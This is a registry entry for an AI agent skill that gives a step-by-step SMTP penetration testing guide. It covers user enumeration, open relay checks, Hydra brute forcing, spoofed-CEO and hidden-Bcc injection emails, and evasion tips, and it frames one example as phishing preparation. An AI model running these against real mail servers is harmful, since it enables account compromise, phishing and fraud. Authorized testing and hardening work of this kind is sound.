{"id":"806fb266-fe86-4a56-9d3f-6588d5d55c7f","shortId":"pML9sz","kind":"skill","title":"smtp-penetration-testing","tagline":"Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration.","description":"> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.\n\n# SMTP Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Nmap with SMTP scripts\nsudo apt-get install nmap\n\n# Netcat\nsudo apt-get install netcat\n\n# Hydra for brute force\nsudo apt-get install hydra\n\n# SMTP user enumeration tool\nsudo apt-get install smtp-user-enum\n\n# Metasploit Framework\nmsfconsole\n```\n\n### Required Knowledge\n- SMTP protocol fundamentals\n- Email architecture (MTA, MDA, MUA)\n- DNS and MX records\n- Network protocols\n\n### Required Access\n- Target SMTP server IP/hostname\n- Written authorization for testing\n- Wordlists for enumeration and brute force\n\n## Outputs and Deliverables\n\n1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings\n2. **User Enumeration Results** - Valid email addresses discovered\n3. **Relay Test Results** - Open relay status and exploitation potential\n4. **Remediation Recommendations** - Security hardening guidance\n\n## Core Workflow\n\n### Phase 1: SMTP Architecture Understanding\n\n```\nComponents: MTA (transfer) → MDA (delivery) → MUA (client)\n\nPorts: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)\n\nWorkflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA\n```\n\n### Phase 2: SMTP Service Discovery\n\nIdentify SMTP servers and versions:\n\n```bash\n# Discover SMTP ports\nnmap -p 25,465,587,2525 -sV TARGET_IP\n\n# Aggressive service detection\nnmap -sV -sC -p 25 TARGET_IP\n\n# SMTP-specific scripts\nnmap --script=smtp-* -p 25 TARGET_IP\n\n# Discover MX records for domain\ndig MX target.com\nnslookup -type=mx target.com\nhost -t mx target.com\n```\n\n### Phase 3: Banner Grabbing\n\nRetrieve SMTP server information:\n\n```bash\n# Using Telnet\ntelnet TARGET_IP 25\n# Response: 220 mail.target.com ESMTP Postfix\n\n# Using Netcat\nnc TARGET_IP 25\n# Response: 220 mail.target.com ESMTP\n\n# Using Nmap\nnmap -sV -p 25 TARGET_IP\n# Version detection extracts banner info\n\n# Manual SMTP commands\nEHLO test\n# Response reveals supported extensions\n```\n\nParse banner information:\n\n```\nBanner reveals:\n- Server software (Postfix, Sendmail, Exchange)\n- Version information\n- Hostname\n- Supported SMTP extensions (STARTTLS, AUTH, etc.)\n```\n\n### Phase 4: SMTP Command Enumeration\n\nTest available SMTP commands:\n\n```bash\n# Connect and test commands\nnc TARGET_IP 25\n\n# Initial greeting\nEHLO attacker.com\n\n# Response shows capabilities:\n250-mail.target.com\n250-PIPELINING\n250-SIZE 10240000\n250-VRFY\n250-ETRN\n250-STARTTLS\n250-AUTH PLAIN LOGIN\n250-8BITMIME\n250 DSN\n```\n\nKey commands to test:\n\n```bash\n# VRFY - Verify user exists\nVRFY admin\n250 2.1.5 admin@target.com\n\n# EXPN - Expand mailing list\nEXPN staff\n250 2.1.5 user1@target.com\n250 2.1.5 user2@target.com\n\n# RCPT TO - Recipient verification\nMAIL FROM:<test@attacker.com>\nRCPT TO:<admin@target.com>\n# 250 OK = user exists\n# 550 = user doesn't exist\n```\n\n### Phase 5: User Enumeration\n\nEnumerate valid email addresses:\n\n```bash\n# Using smtp-user-enum with VRFY\nsmtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP\n\n# Using EXPN method\nsmtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP\n\n# Using RCPT method\nsmtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP\n\n# Specify port and domain\nsmtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary/scanner/smtp/smtp_enum\nset RHOSTS TARGET_IP\nset USER_FILE /usr/share/wordlists/metasploit/unix_users.txt\nset UNIXONLY true\nrun\n```\n\nUsing Nmap:\n\n```bash\n# SMTP user enumeration script\nnmap --script smtp-enum-users -p 25 TARGET_IP\n\n# With custom user list\nnmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP\n```\n\n### Phase 6: Open Relay Testing\n\nTest for unauthorized email relay:\n\n```bash\n# Using Nmap\nnmap -p 25 --script smtp-open-relay TARGET_IP\n\n# Manual testing via Telnet\ntelnet TARGET_IP 25\nHELO attacker.com\nMAIL FROM:<test@attacker.com>\nRCPT TO:<victim@external-domain.com>\nDATA\nSubject: Relay Test\nThis is a test.\n.\nQUIT\n\n# If accepted (250 OK), server is open relay\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary/scanner/smtp/smtp_relay\nset RHOSTS TARGET_IP\nrun\n```\n\nTest variations:\n\n```bash\n# Test different sender/recipient combinations\nMAIL FROM:<>\nMAIL FROM:<test@[attacker_IP]>\nMAIL FROM:<test@target.com>\n\nRCPT TO:<test@external.com>\nRCPT TO:<\"test@external.com\">\nRCPT TO:<test%external.com@target.com>\n```\n\n### Phase 7: Brute Force Authentication\n\nTest for weak SMTP credentials:\n\n```bash\n# Using Hydra\nhydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP\n\n# With specific port and SSL\nhydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp\n\n# Multiple users\nhydra -L users.txt -P passwords.txt TARGET_IP smtp\n\n# Verbose output\nhydra -l admin -P passwords.txt smtp://TARGET_IP -V\n```\n\nUsing Medusa:\n\n```bash\nmedusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary/scanner/smtp/smtp_login\nset RHOSTS TARGET_IP\nset USER_FILE /path/to/users.txt\nset PASS_FILE /path/to/passwords.txt\nset VERBOSE true\nrun\n```\n\n### Phase 8: SMTP Command Injection\n\nTest for command injection vulnerabilities:\n\n```bash\n# Header injection test\nMAIL FROM:<attacker@test.com>\nRCPT TO:<victim@target.com>\nDATA\nSubject: Test\nBcc: hidden@attacker.com\nX-Injected: malicious-header\n\nInjected content\n.\n```\n\nEmail spoofing test:\n\n```bash\n# Spoofed sender (tests SPF/DKIM protection)\nMAIL FROM:<ceo@target.com>\nRCPT TO:<employee@target.com>\nDATA\nFrom: CEO <ceo@target.com>\nSubject: Urgent Request\nPlease process this request immediately.\n.\n```\n\n### Phase 9: TLS/SSL Security Testing\n\nTest encryption configuration:\n\n```bash\n# STARTTLS support check\nopenssl s_client -connect TARGET_IP:25 -starttls smtp\n\n# Direct SSL (port 465)\nopenssl s_client -connect TARGET_IP:465\n\n# Cipher enumeration\nnmap --script ssl-enum-ciphers -p 25 TARGET_IP\n```\n\n### Phase 10: SPF, DKIM, DMARC Analysis\n\nCheck email authentication records:\n\n```bash\n# SPF/DKIM/DMARC record lookups\ndig TXT target.com | grep spf            # SPF\ndig TXT selector._domainkey.target.com    # DKIM\ndig TXT _dmarc.target.com                 # DMARC\n\n# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral\n```\n\n## Quick Reference\n\n### Essential SMTP Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| HELO | Identify client | `HELO client.com` |\n| EHLO | Extended HELO | `EHLO client.com` |\n| MAIL FROM | Set sender | `MAIL FROM:<sender@test.com>` |\n| RCPT TO | Set recipient | `RCPT TO:<user@target.com>` |\n| DATA | Start message body | `DATA` |\n| VRFY | Verify user | `VRFY admin` |\n| EXPN | Expand alias | `EXPN staff` |\n| QUIT | End session | `QUIT` |\n\n### SMTP Response Codes\n\n| Code | Meaning |\n|------|---------|\n| 220 | Service ready |\n| 221 | Closing connection |\n| 250 | OK / Requested action completed |\n| 354 | Start mail input |\n| 421 | Service not available |\n| 450 | Mailbox unavailable |\n| 550 | User unknown / Mailbox not found |\n| 553 | Mailbox name not allowed |\n\n### Enumeration Tool Commands\n\n| Tool | Command |\n|------|---------|\n| smtp-user-enum | `smtp-user-enum -M VRFY -U users.txt -t IP` |\n| Nmap | `nmap --script smtp-enum-users -p 25 IP` |\n| Metasploit | `use auxiliary/scanner/smtp/smtp_enum` |\n| Netcat | `nc IP 25` then manual commands |\n\n### Common Vulnerabilities\n\n| Vulnerability | Risk | Test Method |\n|--------------|------|-------------|\n| Open Relay | High | Relay test with external recipient |\n| User Enumeration | Medium | VRFY/EXPN/RCPT commands |\n| Banner Disclosure | Low | Banner grabbing |\n| Weak Auth | High | Brute force attack |\n| No TLS | Medium | STARTTLS test |\n| Missing SPF/DKIM | Medium | DNS record lookup |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test SMTP servers you own or have authorization to test\n- Sending spam or malicious emails is illegal\n- Document all testing activities\n- Do not abuse discovered open relays\n\n### Technical Limitations\n- VRFY/EXPN often disabled on modern servers\n- Rate limiting may slow enumeration\n- Some servers respond identically for valid/invalid users\n- Greylisting may delay enumeration responses\n\n### Ethical Boundaries\n- Never send actual spam through discovered relays\n- Do not harvest email addresses for malicious use\n- Report open relays to server administrators\n- Use findings only for authorized security improvement\n\n## Examples\n\n### Example 1: Complete SMTP Assessment\n\n**Scenario:** Full security assessment of mail server\n\n```bash\n# Step 1: Service discovery\nnmap -sV -sC -p 25,465,587 mail.target.com\n\n# Step 2: Banner grab\nnc mail.target.com 25\nEHLO test.com\nQUIT\n\n# Step 3: User enumeration\nsmtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com\n\n# Step 4: Open relay test\nnmap -p 25 --script smtp-open-relay mail.target.com\n\n# Step 5: Authentication test\nhydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com\n\n# Step 6: TLS check\nopenssl s_client -connect mail.target.com:25 -starttls smtp\n\n# Step 7: Check email authentication\ndig TXT target.com | grep spf\ndig TXT _dmarc.target.com\n```\n\n### Example 2: User Enumeration Attack\n\n**Scenario:** Enumerate valid users for phishing preparation\n\n```bash\n# Method 1: VRFY\nsmtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25\n\n# Method 2: RCPT with timing analysis\nsmtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com\n\n# Method 3: Metasploit\nmsfconsole\nuse auxiliary/scanner/smtp/smtp_enum\nset RHOSTS 192.168.1.100\nset USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt\nrun\n\n# Results show valid users\n[+] 192.168.1.100:25 - Found user: admin\n[+] 192.168.1.100:25 - Found user: root\n[+] 192.168.1.100:25 - Found user: postmaster\n```\n\n### Example 3: Open Relay Exploitation\n\n**Scenario:** Test and document open relay vulnerability\n\n```bash\n# Test via Telnet\ntelnet mail.target.com 25\nHELO attacker.com\nMAIL FROM:<test@attacker.com>\nRCPT TO:<test@gmail.com>\n# If 250 OK - VULNERABLE\n\n# Document with Nmap\nnmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com\n\n# Output:\n# PORT   STATE SERVICE\n# 25/tcp open  smtp\n# |_smtp-open-relay: Server is an open relay (14/16 tests)\n```\n\n## Troubleshooting\n\n| Issue | Cause | Solution |\n|-------|-------|----------|\n| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587/465; use VPN |\n| VRFY/EXPN Disabled | Server hardened | Use RCPT TO method; analyze response time/code variations |\n| Brute Force Blocked | Rate limiting/lockout | Slow down (`hydra -W 5`); use password spraying; check for fail2ban |\n| SSL/TLS Errors | Wrong port or protocol | Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response |\n\n## Security Recommendations\n\n### For Administrators\n\n1. **Disable Open Relay** - Require authentication for external delivery\n2. **Disable VRFY/EXPN** - Prevent user enumeration\n3. **Enforce TLS** - Require STARTTLS for all connections\n4. **Implement SPF/DKIM/DMARC** - Prevent email spoofing\n5. **Rate Limiting** - Prevent brute force attacks\n6. **Account Lockout** - Lock accounts after failed attempts\n7. **Banner Hardening** - Minimize server information disclosure\n8. **Log Monitoring** - Alert on suspicious activity\n9. **Patch Management** - Keep SMTP software updated\n10. **Access Controls** - Restrict SMTP to authorized IPs\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.","tags":["smtp","penetration","testing","antigravity","awesome","skills","sickn33","agent-skills","agentic-skills","ai-agent-skills","ai-agents","ai-coding"],"capabilities":["skill","source-sickn33","skill-smtp-penetration-testing","topic-agent-skills","topic-agentic-skills","topic-ai-agent-skills","topic-ai-agents","topic-ai-coding","topic-ai-workflows","topic-antigravity","topic-antigravity-skills","topic-claude-code","topic-claude-code-skills","topic-codex-cli","topic-codex-skills"],"categories":["antigravity-awesome-skills"],"synonyms":[],"warnings":[],"endpointUrl":"https://skills.sh/sickn33/antigravity-awesome-skills/smtp-penetration-testing","protocol":"skill","transport":"skills-sh","auth":{"type":"none","details":{"cli":"npx skills add sickn33/antigravity-awesome-skills","source_repo":"https://github.com/sickn33/antigravity-awesome-skills","install_from":"skills.sh"}},"qualityScore":"0.700","qualityRationale":"deterministic score 0.70 from registry signals: · indexed on github topic:agent-skills · 34515 github stars · SKILL.md body (11,992 chars)","verified":false,"liveness":"unknown","lastLivenessCheck":null,"agentReviews":{"count":0,"score_avg":null,"cost_usd_avg":null,"success_rate":null,"latency_p50_ms":null,"narrative_summary":null,"summary_updated_at":null},"enrichmentModel":"deterministic:skill-github:v1","enrichmentVersion":1,"enrichedAt":"2026-04-22T12:51:48.205Z","embedding":null,"createdAt":"2026-04-18T21:45:10.588Z","updatedAt":"2026-04-22T12:51:48.205Z","lastSeenAt":"2026-04-22T12:51:48.205Z","tsv":"'-8':410 '/path/to/passwords.txt':747,766 '/path/to/users.txt':762 '/usr/share/metasploit-framework/data/wordlists/unix_users.txt':1328 '/usr/share/seclists/usernames/top-usernames-shortlist.txt':1217 '/usr/share/wordlists/fasttrack.txt':1242 '/usr/share/wordlists/metasploit/unix_users.txt':545 '/usr/share/wordlists/rockyou.txt':698 '/usr/share/wordlists/users.txt':482,496,510 '1':171,206,1172,1185,1282,1488 '10':876,1553 '10240000':398 '14/16':1415 '192.168.1.100':1293,1311,1324,1334,1339,1344 '2':179,238,1197,1269,1297,1497 '2.1.5':426,435,438 '220':313,324,969 '221':972 '25':218,253,267,278,311,322,332,385,530,564,585,603,618,849,872,1029,1037,1192,1202,1227,1295,1313,1335,1340,1345,1367,1385,1435 '25/587':1478 '25/tcp':1403 '250':394,396,399,401,403,405,409,412,425,434,437,450,638,975,1377 '250-mail.target.com':393 '2525':224,256 '3':187,298,1207,1317,1350,1503 '354':980 '4':197,369,1221,1511 '421':984 '450':988 '465':220,254,712,855,862,1193,1475 '5':460,1235,1461,1517 '550':454,991 '553':997 '587':222,255,1194 '587/465':1437 '6':589,1245,1524 '7':682,1256,1532 '8':772,1539 '9':832,1546 'abus':1111 'accept':637 'access':153,1554 'account':1525,1528 'action':978,1573 'activ':1108,1545 'actual':1144 'address':185,466,1153 'admin':424,696,708,731,745,954,1240,1338 'admin@target.com':427,449 'administr':1162,1487 'aggress':260 'alert':1542 'alia':957 'allow':1001 'altern':225 'analysi':880,1301 'analyz':1448 'applic':1567 'apt':99,106,116,126 'apt-get':98,105,115,125 'architectur':142,208 'arg':579,1393 'assess':8,38,52,174,1175,1179 'attack':84,666,1070,1272,1523 'attacker.com':389,620,1369 'attacker@test.com':787 'attempt':1531 'auth':366,406,1066 'authent':25,69,685,883,1236,1259,1493 'author':28,36,159,1095,1167,1559 'auxiliary/scanner/smtp/smtp_enum':537,1033,1321 'auxiliary/scanner/smtp/smtp_login':754 'auxiliary/scanner/smtp/smtp_relay':648 'avail':374,987 'banner':75,299,338,350,352,1060,1063,1198,1533 'bash':92,247,305,377,418,467,535,552,598,646,656,691,739,752,781,807,839,885,1183,1280,1361 'bcc':794 'bitmim':411 'block':1424,1433,1454 'bodi':948 'boundari':1141 'brute':82,112,166,683,1068,1452,1521 'capabl':392 'caus':1419 'ceo':821 'ceo@target.com':815,822 'check':842,881,1247,1257,1427,1465 'cipher':863,870 'client':216,845,858,923,1250 'client.com':925,930 'close':973,1426 'code':966,967 'combin':660 'command':342,371,376,381,415,774,778,917,918,1004,1006,1040,1059 'common':1041 'complet':979,1173 'compon':210 'comprehens':6,50,176 'conduct':5,49 'configur':838 'connect':378,846,859,974,1251,1421,1510 'constraint':1082 'content':803 'control':42,1555 'core':203 'cover':74 'credenti':690 'custom':568 'd':531,1314 'data':627,791,819,945,949 'defens':39 'delay':1137 'deliver':170 'deliveri':214,1496 'describ':1574 'detect':262,336 'differ':658 'dig':286,889,895,899,1260,1265 'direct':852 'disabl':1119,1441,1489,1498 'disclosur':1061,1538 'discov':186,248,281,1112,1147 'discoveri':241,1187 'dkim':878,898 'dmarc':879,902 'dmarc.target.com':901,1267 'dns':146,1079 'dns/mx':231 'document':1105,1357,1380 'doesn':456 'domain':285,517 'dsn':413 'educ':43 'ehlo':343,388,926,929,1203,1482 'email':141,184,465,596,804,882,1102,1152,1258,1515 'employee@target.com':818 'encrypt':837 'end':961 'enforc':1504 'enum':132,472,478,492,506,521,561,575,869,1010,1014,1026,1213,1287,1305 'enumer':23,67,78,122,164,181,372,462,463,555,864,1002,1056,1127,1138,1209,1271,1274,1502 'environ':44 'error':1469 'esmtp':315,326 'essenti':915 'etc':367 'ethic':1140 'etrn':402 'exampl':920,1170,1171,1268,1349 'exchang':358 'execut':1569 'exist':422,453,458 'expand':429,956 'exploit':195,1353 'expn':428,432,487,494,582,955,958 'extend':927 'extens':348,364 'extern':1053,1495 'external.com@target.com':680 'extract':337 'fail':907,910,1530 'fail2ban':1467 'file':544,761,765,1327 'find':178,1164 'forc':83,113,167,684,1069,1453,1522 'found':996,1336,1341,1346 'framework':134 'full':1177 'fundament':140 'get':100,107,117,127 'grab':76,300,1064,1199 'greet':387 'grep':892,1263 'greylist':1135 'guidanc':202 'h':741 'harden':87,201,1443,1534 'harvest':1151 'header':782,801 'helo':619,921,924,928,1368 'hidden@attacker.com':795 'high':1049,1067 'host':293 'hostnam':361 'hydra':110,119,693,694,706,719,729,1238,1459 'ident':1131 'identifi':17,61,242,922 'illeg':1104 'immedi':830 'implement':1512 'improv':1169 'includ':19,63 'info':339 'inform':304,351,360,1537 'initi':386 'inject':775,779,783,798,802 'input':983 'instal':101,108,118,128 'ip':259,269,280,310,321,334,384,485,499,513,528,541,566,587,610,617,652,667,700,715,725,735,743,758,848,861,874,1020,1030,1036,1560 'ip/hostname':157 'isp':1431 'issu':1418 'keep':1549 'key':414 'knowledg':137 'l':695,707,720,730,1239 'legal':1085 'limit':1084,1116,1124,1519 'limiting/lockout':1456 'list':431,570 'lock':1527 'lockout':1526 'log':1540 'login':408 'lookup':888,1081 'low':1062 'm':479,493,507,522,748,1015,1214,1288,1306 'mail':12,56,430,444,621,661,663,668,785,813,931,935,982,1181,1370 'mail.target.com':314,325,1195,1201,1219,1233,1243,1366,1398 'mail.target.com:25':1252 'mailbox':989,994,998 'malici':800,1101,1155 'malicious-head':799 'manag':1548 'manual':340,611,1039 'may':1125,1136,1432 'mda':144,213,234 'mean':968 'medium':1057,1073,1078 'medusa':738,740 'messag':947 'metasploit':133,534,645,751,1031,1318 'method':488,502,1046,1281,1296,1316,1447 'minim':1535 'misconfigur':27,71 'miss':1076 'modern':1121 'monitor':1541 'msfconsol':135,1319 'mta':143,211,230,233 'mua':145,215,228,236 'multipl':717 'mx':148,282,287,291,295 'name':999 'nc':319,382,1035,1200 'netcat':103,109,318,1034 'network':150 'neutral':912 'never':1142 'nmap':93,102,251,263,274,328,329,551,557,571,600,601,865,1021,1022,1188,1225,1382,1383,1430 'nslookup':289 'often':1118 'ok':451,639,976,1378 'open':20,64,191,590,607,642,1047,1113,1158,1222,1231,1351,1358,1389,1404,1408,1413,1490 'openssl':843,856,1248 'output':168,728,1399 'overview':1577 'p':252,266,277,331,529,563,584,602,697,709,722,732,746,871,1028,1191,1226,1241,1294,1312,1384 'pars':349 'pass':764 'password':1463 'passwords.txt':710,723,733 'patch':1547 'penetr':3,46 'phase':205,237,297,368,459,588,681,771,831,875 'phish':1278 'pipelin':395 'plain':407 'pleas':826 'polici':904 'port':217,250,515,703,854,1400,1423,1428,1434,1471 'postfix':316,356 'postmast':1348 'potenti':196 'prepar':1279 'prerequisit':89 'prevent':1500,1514,1520 'process':827 'protect':812 'protocol':14,58,139,151,1473 'purpos':48,919 'quick':913 'quit':635,960,963,1205 'rate':1123,1455,1518 'rcpt':440,447,501,508,583,624,671,674,677,788,816,938,942,1298,1307,1373,1445 'readi':971 'recipi':232,235,442,941,1054 'recommend':88,199,1485 'record':149,283,884,887,1080 'refer':914 'refus':1422 'relay':21,65,80,188,192,591,597,608,629,643,1048,1050,1114,1148,1159,1223,1232,1352,1359,1390,1409,1414,1491 'remedi':198 'report':175,1157 'request':825,829,977 'requir':90,136,152,1086,1492,1506 'respond':1130 'respons':312,323,345,390,965,1139,1449,1483 'restrict':1556 'result':182,190,1330 'retriev':301 'reveal':346,353 'rhost':539,650,756,1323 'risk':1044 'root':1343 'run':549,653,770,1329 'sc':265,1190 'scenario':1176,1273,1354 'script':96,273,275,556,558,572,578,604,866,1023,1228,1386,1392 'script-arg':577,1391 'secur':7,37,51,86,173,200,834,1168,1178,1484 'selector._domainkey.target.com':897 'send':1098,1143 'sender':227,229,809,934 'sender/recipient':659 'sender@test.com':937 'sendmail':357 'server':15,59,156,244,303,354,640,1090,1122,1129,1161,1182,1410,1442,1536 'servic':240,261,970,985,1186,1402 'session':962 'set':538,542,546,649,755,759,763,767,933,940,1322,1325 'show':391,1331 'simpl':11,55 'size':397 'skill':33,73,1565 'skill-smtp-penetration-testing' 'slow':1126,1457 'smtp':2,10,45,54,95,120,130,138,155,172,207,219,239,243,249,271,276,302,341,363,370,375,470,476,490,504,519,553,560,574,606,689,716,726,749,773,851,916,964,1008,1012,1025,1089,1174,1211,1230,1254,1285,1303,1388,1405,1407,1550,1557 'smtp-enum-us':559,573,1024 'smtp-enum-users.methods':580 'smtp-open-relay':605,1229,1387,1406 'smtp-open-relay.from':1394 'smtp-open-relay.to':1396 'smtp-penetration-test':1 'smtp-specif':270 'smtp-user-enum':129,469,475,489,503,518,1007,1011,1210,1284,1302 'smtps':221 'soft':909 'softwar':355,1551 'solut':1420 'source-sickn33' 'spam':1099,1145 'specif':272,702 'specifi':514 'spf':877,893,894,903,1264 'spf/dkim':811,1077 'spf/dkim/dmarc':886,1513 'spoof':805,808,1516 'spray':1464 'ssl':705,853,868,1477 'ssl-enum-ciph':867 'ssl/tls':1468 'staff':433,959 'start':946,981 'starttl':365,404,840,850,1074,1253,1480,1507 'state':1401 'status':193 'step':1184,1196,1206,1220,1234,1244,1255 'strict':906 'subject':628,792,823 'submiss':223 'sudo':97,104,114,124 'support':347,362,841 'suspici':1544 'sv':257,264,330,1189 'target':154,258,268,279,309,320,333,383,484,498,512,527,540,565,586,609,616,651,699,714,724,734,742,757,847,860,873 'target.com':288,292,296,532,891,1262,1315 'technic':1115 'techniqu':79 'telnet':307,308,614,615,1364,1365 'test':4,47,81,161,189,344,373,380,417,592,593,612,630,634,654,657,665,679,686,776,784,793,806,810,835,836,1045,1051,1075,1088,1097,1107,1224,1237,1355,1362,1416 'test.com':1204 'test@attacker.com':446,623,1372,1395 'test@external.com':673,676,1397 'test@gmail.com':1375 'test@target.com':670 'time':1300 'time/code':1450 'tls':1072,1246,1505 'tls/ssl':833 'tool':91,123,1003,1005 'topic-agent-skills' 'topic-agentic-skills' 'topic-ai-agent-skills' 'topic-ai-agents' 'topic-ai-coding' 'topic-ai-workflows' 'topic-antigravity' 'topic-antigravity-skills' 'topic-claude-code' 'topic-claude-code-skills' 'topic-codex-cli' 'topic-codex-skills' 'transfer':13,57,212 'tri':1436 'troubleshoot':1417 'true':548,769 'txt':890,896,900,1261,1266 'type':290 'u':481,495,509,524,744,1017,1216,1290,1308 'unauthor':595 'unavail':990 'understand':209 'unixon':547 'unknown':993 'updat':1552 'urgent':824 'use':29,31,306,317,327,468,486,500,533,536,550,599,644,647,692,737,750,753,1032,1156,1163,1320,1438,1444,1462,1474,1563 'user':22,66,77,121,131,180,421,452,455,461,471,477,491,505,520,543,554,562,569,576,718,760,952,992,1009,1013,1027,1055,1134,1208,1212,1270,1276,1286,1304,1326,1333,1337,1342,1347,1501 'user1@target.com':436 'user2@target.com':439 'user@target.com':944 'users.txt':525,721,1018,1291,1309 'v':736 'valid':40,183,464,1275,1332 'valid/invalid':1133 'variat':655,1451 'verbos':727,768 'verif':443 'verifi':420,951,1481 'version':246,335,359 'via':613,1363 'victim@external-domain.com':626 'victim@target.com':790 'vpn':1439 'vrfi':400,419,423,474,480,523,581,950,953,1016,1215,1283,1289 'vrfy/expn':1117,1440,1499 'vrfy/expn/rcpt':1058 'vulner':18,62,177,780,1042,1043,1360,1379 'w':1460 'weak':24,68,688,1065 'wordlist':162 'workflow':204,226,1571 'written':158 'wrong':1470 'x':797 'x-inject':796","prices":[{"id":"dfcd82e5-a344-4329-9b78-c25620376dd9","listingId":"806fb266-fe86-4a56-9d3f-6588d5d55c7f","amountUsd":"0","unit":"free","nativeCurrency":null,"nativeAmount":null,"chain":null,"payTo":null,"paymentMethod":"skill-free","isPrimary":true,"details":{"org":"sickn33","category":"antigravity-awesome-skills","install_from":"skills.sh"},"createdAt":"2026-04-18T21:45:10.588Z"}],"sources":[{"listingId":"806fb266-fe86-4a56-9d3f-6588d5d55c7f","source":"github","sourceId":"sickn33/antigravity-awesome-skills/smtp-penetration-testing","sourceUrl":"https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/smtp-penetration-testing","isPrimary":false,"firstSeenAt":"2026-04-18T21:45:10.588Z","lastSeenAt":"2026-04-22T12:51:48.205Z"}],"details":{"listingId":"806fb266-fe86-4a56-9d3f-6588d5d55c7f","quickStartSnippet":null,"exampleRequest":null,"exampleResponse":null,"schema":null,"openapiUrl":null,"agentsTxtUrl":null,"citations":[],"useCases":[],"bestFor":[],"notFor":[],"kindDetails":{"org":"sickn33","slug":"smtp-penetration-testing","github":{"repo":"sickn33/antigravity-awesome-skills","stars":34515,"topics":["agent-skills","agentic-skills","ai-agent-skills","ai-agents","ai-coding","ai-workflows","antigravity","antigravity-skills","claude-code","claude-code-skills","codex-cli","codex-skills","cursor","cursor-skills","developer-tools","gemini-cli","gemini-skills","kiro","mcp","skill-library"],"license":"mit","html_url":"https://github.com/sickn33/antigravity-awesome-skills","pushed_at":"2026-04-22T06:40:00Z","description":"Installable GitHub library of 1,400+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and more. Includes installer CLI, bundles, workflows, and official/community skill collections.","skill_md_sha":"e97f242d1f9b44d4364f0c4e3359b5b9baad613b","skill_md_path":"skills/smtp-penetration-testing/SKILL.md","default_branch":"main","skill_tree_url":"https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/smtp-penetration-testing"},"layout":"multi","source":"github","category":"antigravity-awesome-skills","frontmatter":{"name":"smtp-penetration-testing","description":"Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration."},"skills_sh_url":"https://skills.sh/sickn33/antigravity-awesome-skills/smtp-penetration-testing"},"updatedAt":"2026-04-22T12:51:48.205Z"}}